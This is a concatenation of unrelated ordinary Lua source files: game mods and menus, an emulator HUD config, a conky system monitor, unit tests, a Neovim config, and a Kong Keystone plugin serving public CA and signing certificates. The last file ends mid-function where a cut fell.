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--
-- Generate documentation for this project into 'html' folder
--
local lut = require 'lut'
lut.Doc.make {
sources = {
'yaml',
},
target = 'html',
format = 'html',
header = [[<h1><a href='http://lubyk.org'>Lubyk</a> documentation</h1> ]],
index = [=[
--[[--
# Lubyk documentation
## List of available modules
--]]--
]=]
}
|
cs_spkeys = {'shift'}
mem_read_ubyte = memory.readbyte
mem_read_uword = memory.readword
mem_read_ulong = memory.readlong
mem_write_ubyte = memory.writebyte
mem_write_uword = memory.writeword
mem_write_ulong = memory.writelong
cli_screenwidth = 320
cli_screenheight = 224
-- Gens needs not worry about this
gam_xnat = 320 -- Natural x-resolution, defaulted to Genesis
gam_ynat = 224 -- Natural y-resolution, defaulted to Genesis
gam_up = 0
gam_down = 224
gam_xport = 320
gam_yport = 224
gam_left = 0
gam_right = 324
gam_xscale = 1
gam_yscale = 1
fnt_width = 4
fnt_height = 7
sav_load = savestate.load
sav_create = savestate.create
sav_save = savestate.save
gui_register = function(instructions) gui.register(instructions) end
gui_registerafter = function(instructions) gens.registerafter(instructions) end
margin = 20
x_left = margin
x_right = cli_screenwidth - margin - fnt_width*34
y_1 = 10
y_2 = y_1 + fnt_height*5
y_sh = 66 --Sonic HUD offset
y_limit = cli_screenheight - fnt_height*2
|
local helper = require("piemenu.lib.testlib.helper")
describe("piemenu.core.angle_distance", function()
before_each(helper.before_each)
after_each(helper.after_each)
for _, c in ipairs({
{ angle = 0, next_angle = 0, expected = 360 },
{ angle = 0, next_angle = 360, expected = 360 },
{ angle = 30, next_angle = 50, expected = 20 },
{ angle = 90, next_angle = -90, expected = 180 },
}) do
it(("AngleDistance.new(%s, %s) == %s"):format(c.angle, c.next_angle, c.expected), function()
local actual = require("piemenu.core.angle_distance").AngleDistance.new(c.angle, c.next_angle)
assert.equals(c.expected, actual)
end)
end
end)
|
constants = require "constants"
utils = require "utils"
view = {}
color = {}
color.snake = utils.makeColor('#49AB81', 73,171,129)
color.terrain = utils.makeColor('#A7784E', 167, 120, 78)
color.fruit = utils.makeColor('#DF4815', 223, 72, 21)
view.color = color
love.window.setTitle("Snake Game")
function drawMap(world)
if constants.game.debugMode == true then
fillMap = 'line'
love.graphics.setColor(250,10,150,0.5)--(view.color.terrain.rgb)
space = 0
for i = 1,world.boundries do
for j = 1,world.boundries do
--love.graphics.setColor(150,150,150,0.5)--(view.color.terrain.rgb)
utils.drawRectangle(i,j,fillMap)
end
end
end
end
function drawSnake(world)
love.graphics.setColor(view.color.snake.rgb)
utils.drawRectangle(world.snake.head.x , world.snake.head.y)
tail = world.snake.tail
-- print("Snake")
for i=1,#tail.segment do
--io.write("\t[".. i .."]: ")
--utils.drawRectangle(tail.segment[i].x , tail.segment[i].y)
utils.drawSnake(tail.segment[i].x , tail.segment[i].y, i)
if constants.game.debugMode == true then
utils.printUnderSnake(tail.segment[i])
end
end
end
function drawFruits(world)
love.graphics.setColor(view.color.fruit.rgb)
if constants.game.debugMode == true then
for i=1,#world.fruits do
utils.drawFruits(world.fruits[i].x, world.fruits[i].y, 1.5)
end
else
local newest = world.fruits.getNewest()
utils.drawFruits(newest.x, newest.y, 0.8)
end
end
function drawBorder()
love.graphics.setColor(255,255,255)
utils.border()
end
function drawScore(game)
w = utils.adjust(constants.map.size - 1) + constants.view.scale/2
h = utils.adjust(constants.map.size - 1) + constants.view.scale/2
love.graphics.print("Score: " .. game.score, w/2 - 100, h + 35)
end
function resize(width, height)
love.window.setMode(width, height)
end
view.setColor = setColor
view.drawMap = drawMap
view.drawSnake = drawSnake
view.drawFruits = drawFruits
view.drawBorder = drawBorder
view.resize = resize
view.drawScore = drawScore
return (view)
|
module(..., lunit.testcase, package.seeall)
local common = dofile("common.lua")
local http = require("luanode.http")
function test()
nresponses = 0
local server = http.createServer(function(self, req, res)
if req.url == '/one' then
res:writeHead(200, { {'set-cookie', 'A'},
{'content-type', 'text/plain'} });
res:finish("one\n")
else
res:writeHead(200, { {'set-cookie', 'A'},
{'set-cookie', 'B'},
{'content-type', 'text/plain'} });
res:finish("two\n")
end
end)
server:listen(common.PORT)
server:addListener("listening", function()
--
-- one set-cookie header
--
local client = http.createClient(common.PORT)
local req = client:request('GET', '/one')
req:finish()
req:addListener('response', function(self, res)
-- set-cookie headers are always return in an array.
-- even if there is only one.
assert_equal("A", res.headers['set-cookie'][1])
assert_equal('text/plain', res.headers['content-type'])
res:addListener('data', function(self, chunk)
console.log(chunk)
end)
res:addListener('end', function()
nresponses = nresponses + 1
if nresponses == 2 then
server:close()
end
end)
end)
-- two set-cookie headers
local client = http.createClient(common.PORT)
local req = client:request('GET', '/two')
req:finish()
req:addListener('response', function(slef, res)
for k,v in ipairs({'A', 'B'}) do
assert_equal(v, res.headers['set-cookie'][k])
end
assert_equal('text/plain', res.headers['content-type'])
res:addListener('data', function(self, chunk)
console.log(chunk)
end)
res:addListener('end', function()
nresponses = nresponses + 1
if nresponses == 2 then
server:close()
end
end)
end)
end)
process:addListener("exit", function ()
assert_equal(2, nresponses)
end)
process:loop()
end
|
--[[
"name": "packing-tape",
"title": "Packing Tape",
"author": "calcwizard",
"description": "Mining a chest or wagon allows players to pick it up with all the items inside and carry it in their inventory. Now supports cars!"
--]]
local Event = require('__stdlib__/stdlib/event/event')
local Inventory = require('__stdlib__/stdlib/entity/inventory')
if script.active_mods['packing-tape'] then
return
end
local setting = settings.get_startup('picker-moveable-chests')
local chest_types = {
['container'] = defines.inventory.chest,
['logistic-container'] = defines.inventory.chest,
['cargo-wagon'] = defines.inventory.cargo_wagon
}
local function inventory_to_container(event)
local stack = event.stack
local chest = event.created_entity
if chest_types[chest.type] and stack and stack.valid_for_read and stack.name:find('^picker%-moveable%-') then
local source = event.stack.get_inventory(defines.inventory.item_main)
local destination = chest.get_inventory(chest_types[chest.type])
Inventory.transfer_inventory(source, destination)
local data = global.inventory_chest[stack.item_number]
if data then
if data.bar then
destination.set_bar(data.bar)
end
local proto = chest.prototype
if proto.logistic_mode == 'storage' then
chest.storage_filter = data.storage_filter
elseif proto.logistic_mode == 'requester' or proto.logistic_mode == 'buffer' then
for slot, filter in pairs(data.request_slots or {}) do
chest.set_request_slot(filter, slot)
end
chest.request_from_buffers = data.request_from_buffers
end
end
global.inventory_chest[stack.item_number] = nil
end
end
-- Move the contents from the chest into an item in our inventory
local function container_to_inventory(event)
local chest = event.entity
local item_name = 'picker-moveable-' .. chest.name
if chest_types[chest.type] and game.item_prototypes[item_name] then
if chest.has_items_inside() then
local player = game.get_player(event.player_index)
local p_inv = player.get_main_inventory()
-- Is there an empty inventory spot?
if p_inv.can_insert(item_name) then
-- Create an item-with-inventory in an available slot
local stack -- 0.18.8 find_empty_stack(item_name)
for i = 1, #p_inv do
if not p_inv[i].valid_for_read and p_inv[i].can_set_stack(item_name) then
stack = p_inv[i]
break
end
end
-- Should have stack since we can insert but check anyway.
if stack and stack.set_stack(item_name) then
stack.health = chest.get_health_ratio()
local proto = chest.prototype
local source = chest.get_inventory(defines.inventory.chest)
local dest = stack.get_inventory(defines.inventory.item_main)
Inventory.transfer_inventory(source, dest)
global.inventory_chest = global.inventory_chest or {}
global.inventory_chest[stack.item_number] = {}
local data = global.inventory_chest[stack.item_number]
data.bar = source.supports_bar() and source.get_bar()
data.storage_filter = proto.logistic_mode == 'storage' and chest.storage_filter
local requester = proto.logistic_mode == 'requester' or proto.logistic_mode == 'buffer'
if requester then
data.request_slots = {}
for i = 1, chest.request_slot_count do
data.request_slots[i] = chest.get_request_slot(i)
end
data.request_from_buffers = chest.request_from_buffers
end
-- on_player_mined_item
Event.raise_event(
defines.events.on_player_mined_item,
{
item_stack = {name = item_name, count = 1},
player_index = player.index
}
)
-- on_player_mined_entity?
chest.destroy({raise_destroy = true})
end
end
end
end
end
Event.register_if(setting, defines.events.on_built_entity, inventory_to_container)
Event.register_if(setting, defines.events.on_pre_player_mined_item, container_to_inventory)
|
function start_rendering(note_opts, file_opts, render_opts,
bms_data, on_end_rendering)
-- Make new pattern
local pat_idx = renoise.song().sequencer:insert_new_pattern_at(1)
local working_pattern = renoise.song().patterns[pat_idx]
working_pattern.number_of_lines = renoise.Pattern.MAX_NUMBER_OF_LINES
-- Called on end
local function end_rendering()
renoise.song().sequencer:delete_sequence_at(1)
renoise.app():show_status("Rendering completed.")
on_end_rendering()
end
-- Render single note (Recursively called)
local function render_note(note_index)
if note_index > #bms_data.notes then
end_rendering()
return
end
local filename = ("%s_%03d.wav"):format(note_opts.filename, note_index-1)
renoise.app():show_status(
"Rendering '" .. filename .. "'."
)
local note = bms_data.notes[note_index]
working_pattern:clear()
local pattrk = working_pattern:track(note_opts.index)
-- Write note
for line_idx, line in ipairs(note.lines) do
for ncol_idx, ncol in ipairs(line.note_columns) do
pattrk:line(line_idx):note_column(ncol_idx):copy_from(ncol)
end
for ecol_idx, ecol in ipairs(line.effect_columns) do
pattrk:line(line_idx):effect_column(ecol_idx):copy_from(ecol)
end
end
if not note_opts.one_shot and
#note.lines + 1 <= renoise.Pattern.MAX_NUMBER_OF_LINES then
-- Write note off
for i = 1, #note.lines[1].note_columns do
pattrk:line(#note.lines + 1):note_column(i).note_value = 120
end
end
-- Write automation
for prm_idx, prm in ipairs(bms_data.automated_params) do
local auto_pattrk = working_pattern:track(prm.trk_idx)
local auto = auto_pattrk:create_automation(prm.param)
if not prm.lines_mode then
auto.playmode = renoise.PatternTrackAutomation.PLAYMODE_POINTS
end
auto.points = note.automation[prm_idx]
end
local line_num
if note_opts.one_shot then
line_num = note_opts.release_lines
else
line_num = #note.lines + note_opts.release_lines
end
local s_pos = renoise.SongPos(1, 1)
local e_pos = renoise.SongPos(1, line_num)
-- If s_pos == e_pos, render will be error.
if e_pos.line <= 1 then
e_pos.line = 2
end
-- Render
local ret, msg = renoise.song():render(
{
start_pos = s_pos, end_pos = e_pos,
sample_rate = render_opts.sample_rate,
bit_depth = render_opts.bit_depth,
interpolation = render_opts.interpolation,
priority = render_opts.priority
},
file_opts.directory .. filename,
function()
-- render next sample
render_note(note_index + 1)
end
)
-- On error
if not ret then
renoise.app():show_error(msg)
renoise.song().sequencer:delete_sequence_at(1)
end
end
-- Render
render_note(1)
end
|
require 'tempobj'
local function _new()
local t=tempobj.new(scene.createMovTar())
t.setOverBounce(1.6)
local fPower=1;
local getPower = function() return fPower; end
local setPower = function(power) fPower=power; end
local _frameMove = t.frameMove
local frameMove = function(timed)
local ret=_frameMove(timed)
return ret
end
local _deleteThis = t.deleteThis
local deleteThis = function()
scene.deleteMovTar(t)
return _deleteThis()
end
t.getPower=getPower
t.setPower=setPower
t.frameMove=frameMove
t.deleteThis=deleteThis
return t
end
-- export
bullet = {
new = _new
}
|
function pause(seconds)
coroutine.yield(seconds)
end
function lEntityMat(entity)
Matrix.new(entity):load()
end
BasicSprite = {}
function BasicSprite.new(img, mesh, shader)
local res = {
img = img,
mesh = mesh,
shader = shader
}
local wrapper = Element.new(BasicSprite.render, res)
return wrapper
end
function BasicSprite:render(entity)
self.shader:use()
self.img:bind()
mat = Matrix.new()
mat.x = entity.x
mat.y = entity.y
mat.width = entity.width
mat.height = entity.height
mat:load()
self.mesh:render()
end
-- For use by Animation
Frame = {}
function Frame.new(img, coords, shader, duration)
local res = {
img = img,
mesh = Mesh.new(),
shader = shader,
duration = duration -- In seconds
}
res.mesh:setVertices{
-1, -1, coords[1], coords[2],
-1, 1, coords[3], coords[4],
1, 1, coords[5], coords[6],
1, -1, coords[7], coords[8]
}
res.mesh:setIndices{
0, 1, 2,
0, 2, 3
}
res.mesh:setParam(0, 2, 4, 0)
res.mesh:setParam(1, 2, 4, 2)
return res;
end
Animation = {}
-- Length of frames must be at least 1
function Animation.new(frames)
local res = {
frames = frames,
index = 1,
frameEnd = game:getTime() + frames[1].duration
}
local wrapper = Element.new(Animation.render, res)
return wrapper
end
function Animation:render(e)
local skips = 0 -- Prevent possible near-infinate loop from short frames
while game:getTime() >= self.frameEnd and skips < 100 do
if self.index < #self.frames then
-- Advance
self.index = self.index + 1
else
-- Loop
self.index = 1
end
self.frameEnd = self.frameEnd + self.frames[self.index].duration
skips = skips + 1
end
local f = self.frames[self.index];
f.shader:use()
f.img:bind()
f.mesh:render()
end
|
local heightBar = 0
local heightGraph = 0
local widthBarThread = 0
local widthGraphNet = 0
function conky_format(format, number)
return string.format(format, conky_parse(number))
end
function splitCsv(vals, fromConky)
local tab = {}
if fromConky then
vals = conky_parse(vals)
end
for s in string.gmatch(vals, "[^,]+") do
table.insert(tab, s)
end
return tab
end
yellow = "#ffff%02x"
red = "#ff%02x%02x"
p = 1 / 100
-- %02x -> x: hex, 2: 2 chars, 0: default char, %: string.format insert
-- example 255=ff or 0=00
-- keep conky beginning for other usecases
function conky_colorPercentage(percentage)
local perc = conky_parse(percentage) * p
local calc = 255 - perc * 255
return string.format("${color " .. yellow .. "}", calc, calc, calc)
end
function execShRetRes(cmd)
local handle = io.popen(cmd)
local res = string.format("%s", handle:read("*a"))
handle:close()
return res
end
function conky_setSizes(newHeightBar, newHeightGraph, newWidthBarThread, newWidthGraphNet)
heightBar = conky_parse(newHeightBar)
heightGraph = conky_parse(newHeightGraph)
widthBarThread = conky_parse(newWidthBarThread)
widthGraphNet = conky_parse(newWidthGraphNet)
return ""
end
nproc = tonumber(execShRetRes("nproc"))
cpuName = execShRetRes([[lscpu | grep "Model name:" | sed 's/.*:[ ]\+//g']])
function conky_getCpu(vals)
local i = 1
local cpuP = splitCsv(vals, true)
local cpu0 = table.remove(cpuP, 1)
-- /sys/class/hwmon/hwmon*
local out = cpuName ..
[[${hwmon 0 temp 1}C]] .. conky_colorPercentage(cpu0) .. [[${alignr}${freq} MHz ]] .. string.format("%3.0f", cpu0) .. [[%
${color}${cpugraph cpu0 ]] .. heightGraph .. [[}
Threads
]]
while i < nproc do
local to = 0
local title = true
if i + 3 <= nproc then
to = i + 3
else
to = nproc
end
out = out .. string.format([[${color}%02i-%02i: ]], i, to)
for j = i, to, 1 do
out = out .. string.format("%s${cpubar cpu%i %i,%i} %3.0f%% ", conky_colorPercentage(cpuP[j]), j, heightBar, widthBarThread, cpuP[j])
end
out = out .. [[${color}
]]
i = i + 4
end
out = string.gsub(out, ".$", "")
return out
end
-- inception style lua_parse call to take cpu values and minimize lua_parses in conky
function conky_inceptionGetCpu()
out = "${lua_parse getCpu "
for i = 0, nproc, 1 do
out = out .. string.format("${cpu cpu%i}", i)
if i ~= nproc then
out = out .. ","
end
end
out = out .. "}"
return out
end
function getNet(name)
local out = [[<ifname>: ${addr <ifname>}
▼ ${downspeed <ifname>} ${alignr}▲ ${upspeed <ifname>}
${downspeedgraph <ifname> <height>,<width>} ${alignr}${upspeedgraph <ifname> <height>,<width>}
∑ ${totaldown <ifname>} ${alignr}∑ ${totalup <ifname>}]]
out = string.gsub(out, "<ifname>", name)
out = string.gsub(out, "<height>", heightGraph)
out = string.gsub(out, "<width>", widthGraphNet)
return out
end
nets = splitCsv(execShRetRes([[ip link | grep -oPz '(?<=: )(enp|wlp).*(?=:)' | tr '\0' ',']]))
function conky_net()
local res = ""
for _, n in pairs(nets) do
res = res .. getNet(n) .. "\n\n"
end
return res
end
-- needed for lua_graph usage below
function conky_retGpuUtil()
return gpuUtil
end
function conky_retGpuMem()
return gpuMem
end
d = 1 / 1024
function conky_gpuInfo()
local result = execShRetRes([[ \
nvidia-smi \
--query-gpu=gpu_name,memory.used,memory.total,utilization.gpu,clocks.sm,temperature.gpu \
--format=csv,nounits,noheader]])
local tab = splitCsv(result)
if tab[1] == nil then
return ''
end
local memUsed = tonumber(tab[2]) * d
local memTotal = tonumber(tab[3]) * d
local memPerc = memUsed / memTotal * 100
gpuUtil = tab[4]
gpuMem = memPerc
local ostr = string.format([[NVIDIA %s
%iC ${alignr}%iMHz %3i%%
${lua_graph conky_retGpuUtil <height>}
GPU RAM ${alignr}%0.2fGiB / %0.2fGiB %3i%%
${lua_graph conky_retGpuMem <height>}]], tab[1], tab[6], tab[5], tab[4], memUsed, memTotal, memPerc)
ostr = string.gsub(ostr, "<height>", heightGraph)
return ostr
end
|
object_tangible_quest_som_volcano_marker_03 = object_tangible_quest_shared_som_volcano_marker_03:new {
}
ObjectTemplates:addTemplate(object_tangible_quest_som_volcano_marker_03, "object/tangible/quest/som_volcano_marker_03.iff")
|
-- Decompiled using luadec 2.2 rev: for Lua 5.2 from https://github.com/viruscamp/luadec
-- Command line: D:\Software\AmbienceII\WDC_pc_Menu_data\Menu_seasons_temp.lua
-- params : ...
-- function num : 0 , upvalues : _ENV
require("Chunk.lua")
require("UI_SeasonButton.lua")
local kScene = "ui_seasons"
local kButtonPadding = 2
local mSeasonList, mButtonList = nil, nil
local mCurrentIndex = 0
local ShiftList = function()
-- function num : 0_0 , upvalues : _ENV, mSeasonList, mCurrentIndex, kButtonPadding
local listPos = AgentGetPos(mSeasonList.agent)
listPos.x = (mCurrentIndex - kButtonPadding) * -3.02 - 1.5
ChorePlayAndWait("ui_seasons_transitionOut")
AgentSetPos(mSeasonList.agent, listPos)
end
Menu_Seasons = function()
-- function num : 0_1 , upvalues : _ENV, kScene, mCurrentIndex, kButtonPadding, mSeasonList, mButtonList
if not SceneIsActive(kScene) then
MenuUtils_AddScene(kScene)
SceneHide(kScene, true)
end
local menu = Menu_Create(ListMenu, "ui_seasons_reference", kScene)
menu.align = "left"
menu.alignV = "center"
menu.isVertical = false
mCurrentIndex = kButtonPadding + 1
menu.Show = function(self)
-- function num : 0_1_0 , upvalues : _ENV, kScene
Menu_Main_SetIdle("env_clementineHouse400_seasonSelection")
ChorePlayAndWait("env_clementineHouse400_mainMenuToSeasonSelection")
SceneHide(kScene, false)
;
(Menu.Show)(self, true, false, false, true)
end
menu.Hide = function(self)
-- function num : 0_1_1 , upvalues : _ENV, kScene
(Menu.Hide)(self, true, true, false, true)
SceneHide(kScene, true)
ChorePlayAndWait("env_clementineHouse400_seasonSelectionToMainMenu")
end
menu.Populate = function(self)
-- function num : 0_1_2 , upvalues : mSeasonList, _ENV, mButtonList, menu
mSeasonList = Menu_Add(SparseMenu, "groupButtons", 0.1, nil, "top")
mSeasonList.isVertical = false
mSeasonList.Place = function(self)
-- function num : 0_1_2_0
self:AnchorToAgent("ui_seasons_anchorButtons", "left", "center")
end
mButtonList = {}
local kSeasons = {"walkingDeadSeasonOne", "walkingDeadSeasonTwo", "walkingDeadSeasonThree", "walkingDeadSeasonFour", "walkingDeadMichonne", "walkingDeadSeasonAmb"}
local kSeasonCommands = {"Menu_Seasons_Play( 1 )", "Menu_Seasons_Play( 2 )", "Menu_Seasons_Play( 3 )", "Menu_Seasons_Play( 4 )", "Menu_Seasons_Play( \"M\" )", "Menu_Ambience_Play()"}
;
(table.insert)(mButtonList, Menu_Insert(mSeasonList, SeasonButton, "padLeft1", kSeasons[5]))
;
(table.insert)(mButtonList, Menu_Insert(mSeasonList, SeasonButton, "padLeft2", kSeasons[6]))
for i,season in ipairs(kSeasons) do
(table.insert)(mButtonList, Menu_Insert(mSeasonList, SeasonButton, season, season, kSeasonCommands[i]))
end
;
(table.insert)(mButtonList, Menu_Insert(mSeasonList, SeasonButton, "padRight1", kSeasons[1]))
;
(table.insert)(mButtonList, Menu_Insert(mSeasonList, SeasonButton, "padRight2", kSeasons[2]))
local arrowLeft = Menu_Add(MenuArrow, "arrowLeft", "left", "Menu_Seasons_OnLeft()", menu)
arrowLeft.Place = function(self)
-- function num : 0_1_2_1
if not self.bPlaced then
self:AnchorToAgent("ui_seasons_anchorArrowLeft", "left", "center")
self.bPlaced = true
end
end
local arrowRight = Menu_Add(MenuArrow, "arrowRight", "right", "Menu_Seasons_OnRight()", menu)
arrowRight.Place = function(self)
-- function num : 0_1_2_2
if not self.bPlaced then
self:AnchorToAgent("ui_seasons_anchorArrowRight", "right", "center")
self.bPlaced = true
end
end
local legendWidget = Menu_Add(Legend)
legendWidget.Place = function(self)
-- function num : 0_1_2_3
self:AnchorToAgent("ui_seasons_anchorLegend", "left", "bottom")
end
Legend_Add("faceButtonDown", "legend_select")
Legend_Add("faceButtonRight", "legend_previousMenu", "Menu_Pop()")
local legendButton = Menu_Add(LegendButtonBack, nil, "Menu_Pop()", "legendButton_back")
legendButton.Place = function(self)
-- function num : 0_1_2_4
self:AnchorToAgent("ui_seasons_anchorLegend", "left", "bottom")
end
end
menu.OnKeyLeft = function(self, button, event)
-- function num : 0_1_3 , upvalues : _ENV
Menu_Seasons_OnLeft(event)
end
menu.OnKeyRight = function(self, button, event)
-- function num : 0_1_4 , upvalues : _ENV
Menu_Seasons_OnRight(event)
end
menu.OnWidgetInputChange = function(self, bUseCursor)
-- function num : 0_1_5 , upvalues : mButtonList, mCurrentIndex
(mButtonList[mCurrentIndex]):OnSetInputMode(bUseCursor)
end
Menu_Push(menu)
for _,button in ipairs(mButtonList) do
button:Deselect()
end
;
(mButtonList[mCurrentIndex]):Select()
end
Menu_Seasons_OnLeft = function(event)
-- function num : 0_2 , upvalues : _ENV, mButtonList, mCurrentIndex, kButtonPadding, ShiftList
WidgetInputHandler_EnableInput(false)
if event then
WidgetInputHandler_ConsumeEvent(event)
end
;
(mButtonList[mCurrentIndex]):Deselect()
mCurrentIndex = mCurrentIndex - 1
if mCurrentIndex < kButtonPadding + 1 then
mCurrentIndex = #mButtonList - kButtonPadding
end
ShiftList()
;
(mButtonList[mCurrentIndex]):Select()
WidgetInputHandler_EnableInput(true)
end
Menu_Seasons_OnRight = function(event)
-- function num : 0_3 , upvalues : _ENV, mButtonList, mCurrentIndex, kButtonPadding, ShiftList
WidgetInputHandler_EnableInput(false)
if event then
WidgetInputHandler_ConsumeEvent(event)
end
;
(mButtonList[mCurrentIndex]):Deselect()
mCurrentIndex = mCurrentIndex + 1
if #mButtonList - kButtonPadding < mCurrentIndex then
mCurrentIndex = kButtonPadding + 1
end
ShiftList()
;
(mButtonList[mCurrentIndex]):Select()
WidgetInputHandler_EnableInput(true)
end
Menu_Seasons_Select = function(seasonName)
-- function num : 0_4 , upvalues : _ENV
if seasonName == "walkingDeadSeasonAmb" then
AgentSetProperty("ui_seasons_image", "material_ui_moreFromTelltale_mainImage_mainImage_m - Diffuse Texture", (string.format)("ui_moreFromTelltale_mainImage_%s.d3dtx", seasonName))
AgentSetProperty("ui_seasons_textLabel", kTextNode, "")
AgentSetProperty("ui_seasons_textDescription", kTextNode, "")
AgentSetProperty("ui_seasons_textLabel", kText, "AMBIENCE")
AgentSetProperty("ui_seasons_textDescription", kText, "Ambience allows you to explore various locations found within the Walking Dead universe freely.")
ChorePlayAndWait("ui_seasons_transitionIn")
else
AgentSetProperty("ui_seasons_image", "material_ui_moreFromTelltale_mainImage_mainImage_m - Diffuse Texture", (string.format)("ui_moreFromTelltale_mainImage_%s.d3dtx", seasonName))
AgentSetProperty("ui_seasons_textLabel", kTextNode, (string.format)("label_%s", seasonName))
AgentSetProperty("ui_seasons_textDescription", kTextNode, (string.format)("desc_%s", seasonName))
ChorePlayAndWait("ui_seasons_transitionIn")
end
end
Menu_Seasons_Play = function(season)
-- function num : 0_5 , upvalues : _ENV
if season ~= 1 and not Chunk_PlayGo_PreBeginPlay("Season" .. season) then
return
end
Print("Switching to season " .. season)
WidgetInputHandler_EnableInput(false)
Menu_Music_FadeOut()
local legend = AgentFind("ui_seasons_legend")
if legend and legend.widget then
(legend.widget):Suppress(nil, true)
end
local legendButton = AgentFind("ui_seasons_legendButtonBack")
if legendButton and legendButton.widget then
(legendButton.widget):Suppress(nil, true)
end
ChorePlayAndWait("ui_seasons_transitionOut")
SubProject_Switch("MenuSeason" .. season)
end
Menu_Ambience_Play = function()
WidgetInputHandler_EnableInput(false)
ChorePlayAndWait("ui_seasons_transitionOut")
local dialogResult = DialogBox_YesNo("Ambience allows you to freely roam through many maps appearing throughout the series. Potentially major spoilers ahead!\n\nAre you sure you'd like to continue?", "Spoiler Warning")
if dialogResult then
SubProject_Switch("WalkingDead402", "_BoardingSchoolExteriorDuskInitAmb.lua")
else
ChorePlayAndWait("ui_seasons_transitionIn")
WidgetInputHandler_EnableInput(true)
end
end
|
-- General options
require('settings')
require('keybinds')
require('lsp')
require('plugins')
|
local responses = require "kong.tools.responses"
local kutils = require ("kong.plugins.keystone.utils")
local policies = require ("kong.plugins.keystone.policies")
local function show_ca_cert(self, dao_factory)
return 200, [[
MIIDgTCCAmmgAwIBAgIJAIr3n9+0RSC7MA0GCSqGSIb3DQEBCwUAMFcxCzAJBgNV
BAYTAlVTMQ4wDAYDVQQIDAVVbnNldDEOMAwGA1UEBwwFVW5zZXQxDjAMBgNVBAoM
BVVuc2V0MRgwFgYDVQQDDA93d3cuZXhhbXBsZS5jb20wHhcNMTYxMDIwMTMwMjE4
WhcNMjYxMDE4MTMwMjE4WjBXMQswCQYDVQQGEwJVUzEOMAwGA1UECAwFVW5zZXQx
DjAMBgNVBAcMBVVuc2V0MQ4wDAYDVQQKDAVVbnNldDEYMBYGA1UEAwwPd3d3LmV4
YW1wbGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwoJkYpfJ
Bvqfq0eAuqTIziiunNQdnSUX/aMS5UuI6tjzSkYnR5FCdf9UP8OrpA37gthvz3KK
XhNLqnnV8MLzEo3+lN5IAr+TE1foXnqGs6vNvj5Jn1lViXXpIeaHxMwkJpJjPwxJ
nFLtxL1m9hIx5anV5ZyJWV8RIaMqnzOJ7QYiX07aouRvmtT5O1LQzr2ht2l4EzPY
YDt9UV/daSikrmroBnwgWMecaFJOC1pxSyvO2PAnw+yhX6NHgGPJmOu0TSN2IK1p
o07ZVM3QJLLbEZFjcUK7FXNRk5ZfzjkCrJA1l0Ys3ByHTb2offffIyTYPuatQtfF
0XvTIwMN5eIAswIDAQABo1AwTjAMBgNVHRMEBTADAQH/MB0GA1UdDgQWBBTZ4Nls
7DRmUBcrYhYDLSsDM0BCWzAfBgNVHSMEGDAWgBTZ4Nls7DRmUBcrYhYDLSsDM0BC
WzANBgkqhkiG9w0BAQsFAAOCAQEALil6WvVii6yNVwu0zgt2iDYqHvnnHWnSVhEJ
eKeBFRxpuwiH+UOeygFB0/6lD2r11cD0SdgaMfLAKkKspQucJIsp3BYLwBJ25oxn
NL2yB3HLZeEebAQzXQwnRbWUbIpcp/XPlKjybiA3unqE+X/qdQZgxJ2Xgtp7bHhN
yzDCSOUZlHrkKNXtFNvqRtoCeMBs2+jfqx2ap64ORSnLihEi57lOcUn2DbAR45OI
+wppD5CcUTDsE0r+XbBK3Cm3dn6pVyVcawv5qDidRB7JdsDbx6VC7gcBbdgdbLWz
Xf4KS8N77jeGjqKJ7QY5jkHdXhY+gGbeponch4y2VqLgMI0VGQ==]]
end
local function show_signing_cert(self, dao_factory)
return 200, [[
MIIDZjCCAk6gAwIBAgIBATANBgkqhkiG9w0BAQsFADBXMQswCQYDVQQGEwJVUzEO
MAwGA1UECAwFVW5zZXQxDjAMBgNVBAcMBVVuc2V0MQ4wDAYDVQQKDAVVbnNldDEY
MBYGA1UEAwwPd3d3LmV4YW1wbGUuY29tMB4XDTE2MTAyMDEzMDIxOFoXDTI2MTAx
ODEzMDIxOFowRzELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVVuc2V0MQ4wDAYDVQQK
DAVVbnNldDEYMBYGA1UEAwwPd3d3LmV4YW1wbGUuY29tMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEAua3cVYSD9KY31+wNXZv3HBS5MyzTfoY+nh4nJ2x8
Ram6liu4gkHYRonTUriIrgDLyo+2fuXrmyFcq1+8ke4KD3n24i8pzcrt6BOGAVYP
KdPyXU0EkZECNmH/tKjvVqMLHcq2apsZdZ5ujBtE5G4zbTjVIEzz90AbAmRVJy7S
seluCxBKtg3IGa1WwqgU4B5pgog+VDpT8XPKFvHi1cVaX76qS6MOUxXA7kuOQUct
JxcyITS26Mxym7wOTI+7JV5A9Ow/dUN6CrGMrfHB59Psx3os/BfoopFmIbbnHdOO
ETOeifelkhwLWLfmmOHxWgYYX/aEyW3L/xCU5QDCz9B0wQIDAQABo00wSzAJBgNV
HRMEAjAAMB0GA1UdDgQWBBQeoHzsYSUSfGymk6kem/lpGVJS9DAfBgNVHSMEGDAW
gBTZ4Nls7DRmUBcrYhYDLSsDM0BCWzANBgkqhkiG9w0BAQsFAAOCAQEAfsH6AN7p
XWBg062LUtpfDsRyXqOLYofR4Y0Mzo1rH0jaozJsnOxsj42BdP+hBGjtZB9eUwgP
gx+MJQC4pz+Wuc/xMysDT6f0hyjZmsakXM92lsztlW7+Y7u9ATa2lDTER1Fv7X6D
I+kN+dhphq0lrIRWZvAf3TlZpEUG38cTxLD8OsdOlq4BxSzmvKFQf4mcbu39OX7i
0fGih0SxSa03idx9NWEOEp9IaGLo/mfL84nb4YjgV9yJj+3CkxYvqPlpiM2rHD/C
hMgz/UB52OxbjYjbWoyStZwvlSwKWY75C9iYA04TZrhs5UWvAT+I2Y2UY/krrZ2a
Rke2Bj7NAvXPHw==]]
end
local routes = {
['/v3/OS-SIMPLE-CERT/ca'] = {
GET = function (self, dao_factory)
policies.check(self.req.headers['X-Auth-Token'], "identity:show_ca_cert", dao_factory, self.params)
responses.send(show_ca_cert(self, dao_factory))
end
},
['/v3/OS-SIMPLE-CERT/certificate'] = {
GET = function (self, dao_factory)
policies.check(self.req.headers['X-Auth-Token'], "identity:show_signing_cert", dao_factory, self.params)
responses.send(show_signing_cert(self, dao_factory))
end
}
}
return {
routes = routes
}
|
ENT.Type = "point"
ENT.Base = "base_point"
function ENT:Initialize()
-- Backwards compatibility: TTT maps compiled before the addition of the
-- propspec setting may expect it to be off, so default it to off if a map
-- settings entity exists (a reliable way of identifying a TTT map)
GAMEMODE.propspec_allow_named = false
